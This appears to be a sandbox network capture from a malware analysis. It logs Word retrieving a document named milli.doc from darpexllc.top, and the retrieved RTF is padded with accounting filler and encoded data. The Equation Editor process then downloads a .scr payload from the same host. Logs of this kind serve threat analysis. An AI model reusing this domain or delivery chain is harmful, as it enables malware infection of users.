0	192.168.2.22	49161	188.114.97.3	443	2052	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:02 UTC	135	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: darpexllc.top Content-Length: 0 Connection: Keep-Alive
2024-07-26 07:26:02 UTC	703	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vyp9HmRwpu17HbiFInGGzBo6nnLWhEx48tkJ1irFaWg085c90U90AX1PPoT4dwRFf1G%2FaHvDiGXQaLg2vpz1DVPe9JGEfs6umC6dgxwVt49%2BaeUgwbHH4Ve9LKr%2FWm78"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a8c19b034396-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	188.114.96.3	443	2052	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:04 UTC	123	OUT	HEAD /milli.doc HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: darpexllc.top
2024-07-26 07:26:04 UTC	826	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:04 GMT Content-Type: application/msword Content-Length: 637941 Connection: close Last-Modified: Fri, 26 Jul 2024 00:36:40 GMT ETag: "66a2ef98-9bbf5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xHi7I9VwVibNvS1UAsLT7sppOyAkPe8hZtYS%2Ff%2F7CbkYTlg9ICdNKDKt%2BSGdOwMH90qTjY1BY%2BCYAomZBABTGhYkMhbKbtcGFBvDTSGHoYQhIV%2B2fAAovxBRBcQtK%2F0I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a8cd0a2b0f53-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.22	49163	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:09 UTC	130	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: darpexllc.top
2024-07-26 07:26:09 UTC	703	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sDzOrQ8otPEp7flUnuyCwHUNVWx2grGqQqKMMUPJ9nO83ODIox9h%2Bu9FuWu7pmqjFVLxG0Ls6Qw%2F6POBMNE51KUHr8hjCBlzw5%2FrNDcbCYsPxufzOjKGcbusEQUbEYsA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a8ed3a088c41-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49164	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:10 UTC	160	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 64 61 72 70 65 78 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: darpexllc.top
2024-07-26 07:26:10 UTC	726	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 07:26:10 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nujmi5Do%2BO%2BvYDHN3j5GmT4C4uoN65jyeH%2BksUZfqTOKxvFTWbrJ3quKbDM0IjSPBiWZO13vnjMA3dqPbuC5GihAA26m5jPXiPmp4T2VWjwOxNK%2BqvmJrT7UK1e5roNd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a8f3a88c4405-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:10 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 07:26:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49165	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:14 UTC	160	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 64 61 72 70 65 78 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: darpexllc.top
2024-07-26 07:26:14 UTC	726	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 07:26:14 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wWAqCpwBavva%2FPVFB7%2BPMHT8Nk1f099GVt%2FSzNhtb4WgjfPZIuW3CU6qn4k40eYfS5lTNidGhFTAeOwIq2oRRnoRnU0owdHYBZWugjMYtnQWVaC%2F0GkZd4fAcRn5eX6S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a90cc8d6c327-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:14 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 07:26:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49166	188.114.97.3	443	2052	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:15 UTC	353	OUT	GET /milli.doc HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14) UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: darpexllc.top Connection: Keep-Alive
2024-07-26 07:26:15 UTC	832	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:15 GMT Content-Type: application/msword Content-Length: 637941 Connection: close Last-Modified: Fri, 26 Jul 2024 00:36:40 GMT ETag: "66a2ef98-9bbf5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 11 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwszcIlvi%2FgFFnVMyAl1EasW518LaNOTVQiYikEVcPvuvwrQppeZeRJN90h0xwUItdcftPxEkXMJm%2BPdIEPW8Vf%2FXJluSqB6c%2ByXO%2BUf7i4GBldaoKFRcE8a0CTOjF3w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a913bf2142de-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:26:15 UTC	537	IN	Data Raw: 7b 5c 72 74 66 31 0d 0d 7b 5c 2a 5c 58 6b 72 58 74 4f 42 35 79 47 52 76 6f 74 4b 33 45 4b 36 6d 44 46 7a 54 4b 55 6e 6d 58 69 6f 71 44 4f 7a 76 4e 79 48 44 47 4c 4a 76 32 5a 45 62 71 6e 76 6c 32 54 49 62 6b 70 33 44 62 57 53 6e 6b 65 58 49 39 77 56 46 33 39 49 6f 6f 71 5a 36 70 4b 6d 6f 75 6d 63 79 68 6f 5a 37 54 37 76 56 44 51 6e 6f 6b 67 63 72 50 5a 67 6c 66 38 37 44 47 6f 30 35 4e 5a 69 46 43 4e 64 65 68 77 30 66 63 63 32 64 68 63 4f 68 4b 56 6a 76 38 71 66 61 38 42 70 6a 78 47 4e 34 49 51 57 7a 6e 4f 53 76 7a 38 58 75 58 41 64 51 72 73 6c 53 6b 4e 7a 73 57 4c 5a 75 42 46 4f 36 30 72 56 47 49 72 35 75 4d 74 62 6d 6e 68 37 67 31 61 31 57 32 38 72 6b 50 42 56 6d 61 77 58 7a 4f 5a 72 65 6b 6c 66 4a 6d 6e 54 52 7a 65 63 37 72 58 6f 47 57 58 35 71 71 63 7d Data Ascii: {\rtf1{\*\XkrXtOB5yGRvotK3EK6mDFzTKUnmXioqDOzvNyHDGLJv2ZEbqnvl2TIbkp3DbWSnkeXI9wVF39IooqZ6pKmoumcyhoZ7T7vVDQnokgcrPZglf87DGo05NZiFCNdehw0fcc2dhcOhKVjv8qfa8BpjxGN4IQWznOSvz8XuXAdQrslSkNzsWLZuBFO60rVGIr5uMtbmnh7g1a1W28rkPBVmawXzOZreklfJmnTRzec7rXoGWX5qqc}
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 6e 20 61 75 64 69 74 20 6f 66 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 2c 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 6e 64 61 72 64 73 20 72 65 71 75 69 72 65 20 74 68 61 74 20 61 75 64 69 74 6f 72 73 20 6f 62 74 61 69 6e 20 61 6e 20 75 6e 64 65 72 73 74 61 6e 64 69 6e 67 20 6f 66 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 0d 0d 0a 74 68 65 20 65 78 74 65 6e 74 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 70 6c 61 6e 20 74 68 65 20 61 75 64 69 74 2e 20 41 75 64 69 74 6f 72 73 20 75 73 65 20 74 68 69 73 20 75 6e 64 65 72 73 74 61 6e 64 69 6e 67 20 6f 66 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 61 73 73 65 73 73 20 74 68 65 20 72 69 73 6b 20 6f 66 20 6d 61 74 65 72 69 61 6c 20 0d 0d Data Ascii: n audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 73 20 61 73 20 77 65 6c 6c 20 61 73 20 74 68 65 20 6c 69 6b 65 6c 69 68 6f 6f 64 20 74 68 61 74 20 69 6e 74 65 72 6e 61 6c 20 0d 0d 0a 63 6f 6e 74 72 6f 6c 73 20 77 6f 75 6c 64 20 6e 6f 74 20 70 72 65 76 65 6e 74 20 6f 72 20 64 65 74 65 63 74 20 61 6e 64 20 63 6f 72 72 65 63 74 20 74 68 65 20 6d 69 73 73 74 61 74 65 6d 65 6e 74 73 2e 20 4f 6e 65 20 63 6f 6d 6d 6f 6e 20 65 78 61 6d 70 6c 65 20 6f 66 20 61 20 64 65 66 69 63 69 65 6e 63 79 20 69 6e 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 74 68 61 74 92 73 20 0d 0d 0a 73 65 76 65 72 65 20 65 6e 6f 75 67 68 20 74 6f 20 62 65 20 63 6f 6e 73 69 64 65 72 65 64 20 61 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 20 6f 72 20 73 69 67 6e 69 66 69 63 61 Data Ascii: cial statements as well as the likelihood that internal controls would not prevent or detect and correct the misstatements. One common example of a deficiency in internal control thats severe enough to be considered a material weakness or significa
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 6e 2c 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 65 73 20 61 6e 64 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 74 68 61 74 20 61 72 65 20 6e 6f 74 20 72 65 6d 65 64 69 61 74 65 64 20 6d 75 73 74 20 63 6f 6e 74 69 6e 75 65 20 74 6f 20 62 65 20 63 6f 6d 6d 75 6e 69 63 61 74 65 64 20 69 6e 20 77 72 69 74 69 6e 67 20 0d 0d 0a 75 6e 74 69 6c 20 74 68 65 20 64 65 66 69 63 69 65 6e 63 79 20 69 73 20 63 6f 72 72 65 63 74 65 64 2e 4f 74 68 65 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 64 65 6e 74 69 66 69 65 64 20 64 75 72 69 6e 67 20 74 68 65 20 61 75 64 69 74 20 74 68 61 74 20 61 72 65 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 73 65 76 65 72 65 20 0d 0d 0a Data Ascii: n, material weaknesses and significant deficiencies that are not remediated must continue to be communicated in writing until the deficiency is corrected.Other internal control deficiencies identified during the audit that are not considered severe
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 41 75 64 69 74 6f 72 73 20 6d 61 79 20 69 6e 63 6c 75 64 65 20 73 75 63 68 20 6f 74 68 65 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 20 64 65 66 69 63 69 65 6e 63 69 65 73 20 69 6e 20 74 68 65 69 72 20 0d 0d 0a 61 6e 6e 75 61 6c 20 77 72 69 74 74 65 6e 20 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 20 74 6f 20 70 72 6f 6d 70 74 20 63 6f 6e 74 69 6e 75 65 64 20 6d 6f 6e 69 74 6f 72 69 6e 67 20 62 79 20 6d 61 6e 61 67 65 6d 65 6e 74 20 6f 72 20 74 68 6f 73 65 20 63 68 61 72 67 65 64 20 77 69 74 68 20 67 6f 76 65 72 6e 61 6e 63 65 2e 44 75 72 69 6e 67 20 74 68 65 20 63 6f 75 72 73 65 20 6f 66 20 61 6e 20 0d 0d 0a 61 75 64 69 74 2c 20 74 68 65 20 61 75 64 69 74 6f 72 73 20 6d 69 67 68 74 20 61 6c 73 6f 20 69 64 65 6e 74 69 66 79 20 6f 74 68 65 72 20 Data Ascii: Auditors may include such other internal control deficiencies in their annual written communications to prompt continued monitoring by management or those charged with governance.During the course of an audit, the auditors might also identify other
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 69 73 65 20 63 6c 65 61 6e 20 61 75 64 69 74 20 0d 0d 0a 72 65 70 6f 72 74 2e 20 42 75 74 20 69 74 20 6d 61 79 20 68 65 6c 70 20 74 6f 20 75 6e 64 65 72 73 74 61 6e 64 20 69 74 73 20 70 75 72 70 6f 73 65 2e 20 54 68 65 20 4d 61 6e 61 67 65 6d 65 6e 74 20 4c 65 74 74 65 72 20 69 73 20 69 6e 74 65 6e 64 65 64 20 74 6f 20 70 72 6f 76 69 64 65 20 6d 61 6e 61 67 65 6d 65 6e 74 20 61 6e 64 20 74 68 6f 73 65 20 63 68 61 72 67 65 64 20 77 69 74 68 20 0d 0d 0a 67 6f 76 65 72 6e 61 6e 63 65 20 77 69 74 68 20 76 61 6c 75 61 62 6c 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 72 65 67 61 72 64 69 6e 67 20 74 68 65 69 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 55 73 65 64 20 70 72 6f 70 65 72 6c 79 2c 20 74 68 65 20 4d 61 6e 61 67 65 6d 65 6e 74 20 4c 65 74 74 65 72 Data Ascii: ise clean audit report. But it may help to understand its purpose. The Management Letter is intended to provide management and those charged with governance with valuable information regarding their organization. Used properly, the Management Letter
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 36 31 25 32 30 25 37 33 25 37 35 25 37 32 25 37 30 25 37 32 25 36 39 25 37 33 25 36 39 25 36 45 0d 0d 0a 25 36 37 25 32 30 25 36 31 25 36 34 25 37 36 25 36 35 25 37 32 25 37 34 25 36 39 25 37 33 25 36 39 25 36 45 25 36 37 25 32 30 25 37 33 25 37 34 25 37 32 25 36 31 25 37 34 25 36 35 25 36 37 25 37 39 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 37 37 25 36 39 25 37 34 25 36 38 25 32 30 25 37 35 25 36 45 25 36 33 25 36 46 25 36 45 25 37 36 25 36 35 25 36 45 25 37 34 25 36 39 25 36 46 0d 0d 0a 25 36 45 25 36 31 25 36 43 25 32 30 25 36 39 25 36 45 25 37 34 25 36 35 25 37 32 25 36 31 25 36 33 25 37 34 25 36 39 25 36 46 25 36 45 25 37 33 25 32 30 25 37 34 25 36 46 25 32 30 25 37 30 25 37 32 25 36 46 25 36 44 25 36 46 25 37 34 25 36 35 25 32 30 25 37 34 25 Data Ascii: 61%20%73%75%72%70%72%69%73%69%6E%67%20%61%64%76%65%72%74%69%73%69%6E%67%20%73%74%72%61%74%65%67%79%20%61%6E%64%20%77%69%74%68%20%75%6E%63%6F%6E%76%65%6E%74%69%6F%6E%61%6C%20%69%6E%74%65%72%61%63%74%69%6F%6E%73%20%74%6F%20%70%72%6F%6D%6F%74%65%20%74%
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 44 25 37 30 25 37 32 25 36 46 25 37 36 25 36 35 25 37 33 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 36 34 25 36 35 25 36 44 25 36 31 25 36 45 25 36 34 25 32 30 25 36 36 25 36 46 25 37 32 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 37 30 25 37 32 25 36 46 0d 0d 0a 25 36 34 25 37 35 25 36 33 25 37 34 25 32 30 25 36 32 25 37 39 25 32 30 25 37 33 25 37 35 25 36 33 25 36 33 25 36 35 25 37 33 25 37 33 25 36 36 25 37 35 25 36 43 25 36 43 25 37 39 25 32 30 25 36 46 25 36 32 25 37 33 25 36 35 25 37 32 25 37 36 25 36 39 25 36 45 25 36 37 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 37 35 25 36 45 0d 0d 0a 25 36 34 25 36 35 25 37 32 25 37 33 25 37 34 25 36 31 25 36 45 25 36 34 25 36 39 25 36 45 25 36 37 25 32 30 25 37 34 25 36 38 25 36 35 25 32 30 25 36 Data Ascii: D%70%72%6F%76%65%73%20%74%68%65%20%64%65%6D%61%6E%64%20%66%6F%72%20%74%68%65%20%70%72%6F%64%75%63%74%20%62%79%20%73%75%63%63%65%73%73%66%75%6C%6C%79%20%6F%62%73%65%72%76%69%6E%67%20%61%6E%64%20%75%6E%64%65%72%73%74%61%6E%64%69%6E%67%20%74%68%65%20%6
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 74 61 74 65 6d 65 6e 74 20 0d 0d 0a 64 6f 65 73 6e 92 74 20 6e 65 63 65 73 73 61 72 69 6c 79 20 6d 65 61 6e 20 74 68 61 74 20 79 6f 75 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 77 6f 72 6b 69 6e 67 2e 20 41 73 20 6c 6f 6e 67 20 61 73 20 74 68 65 72 65 92 73 20 61 20 72 65 61 73 6f 6e 61 62 6c 65 20 70 6f 73 73 69 62 69 6c 69 74 79 20 66 6f 72 20 6d 61 74 65 72 69 61 6c 20 0d 0d 0a 6d 69 73 73 74 61 74 65 6d 65 6e 74 20 6f 66 20 61 63 63 6f 75 6e 74 20 62 61 6c 61 6e 63 65 73 20 6f 72 20 66 69 6e 61 6e 63 69 61 6c 20 73 74 61 74 65 6d 65 6e 74 20 64 69 73 63 6c 6f 73 75 72 65 73 2c 20 79 6f 75 72 20 69 6e 74 65 72 6e 61 6c 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 63 6f 6e 73 69 64 65 72 65 64 20 74 6f 20 62 65 20 64 65 66 69 Data Ascii: tatement doesnt necessarily mean that your internal controls are working. As long as theres a reasonable possibility for material misstatement of account balances or financial statement disclosures, your internal controls are considered to be defi
2024-07-26 07:26:15 UTC	1369	IN	Data Raw: 66 69 63 69 65 6e 63 79 2e 20 46 61 69 6c 75 72 65 20 74 6f 20 74 61 6b 65 20 63 6f 72 72 65 63 74 69 76 65 20 61 63 74 69 6f 6e 20 64 6f 65 73 20 6e 6f 74 20 63 6f 6e 73 74 69 74 75 74 65 20 0d 0d 0a 61 20 28 73 65 70 61 72 61 74 65 29 20 73 69 67 6e 69 66 69 63 61 6e 74 20 64 65 66 69 63 69 65 6e 63 79 20 6f 72 20 6d 61 74 65 72 69 61 6c 20 77 65 61 6b 6e 65 73 73 20 75 6e 6c 65 73 73 20 74 68 65 20 93 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 94 20 6c 61 63 6b 73 20 61 20 72 65 61 73 6f 6e 61 62 6c 65 20 65 78 70 6c 61 6e 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 64 65 63 69 73 69 6f 6e 2e 20 0d 0d 0a 46 6f 72 20 65 78 61 6d 70 6c 65 2c 20 6e 6f 6e 70 72 6f 66 69 74 73 20 74 68 61 74 20 6c 61 63 6b 20 74 68 65 20 61 62 69 6c 69 74 79 20 74 6f 20 70 72 65 70 Data Ascii: ficiency. Failure to take corrective action does not constitute a (separate) significant deficiency or material weakness unless the organization lacks a reasonable explanation for the decision. For example, nonprofits that lack the ability to prep

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49167	188.114.97.3	443	2052	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:17 UTC	142	OUT	HEAD /milli.doc HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: darpexllc.top Content-Length: 0 Connection: Keep-Alive
2024-07-26 07:26:17 UTC	828	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:26:17 GMT Content-Type: application/msword Content-Length: 637941 Connection: close Last-Modified: Fri, 26 Jul 2024 00:36:40 GMT ETag: "66a2ef98-9bbf5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 13 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvVc13xgIxc6ndP8T8cELzK5oaSiL%2B3Dgc%2BPuOFEvmiTZ0FCWGsLG0sBzeucFrcH3WN4CClT4WnMONTPE%2BxlqXhPXAo4Hn0yUc91K620fTJacpbTx5OgHSWKLjak3NZv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a92a91d696b43a9-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49168	188.114.96.3	443	3224	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:26:18 UTC	309	OUT	GET /milli.scr HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: darpexllc.top Connection: Keep-Alive
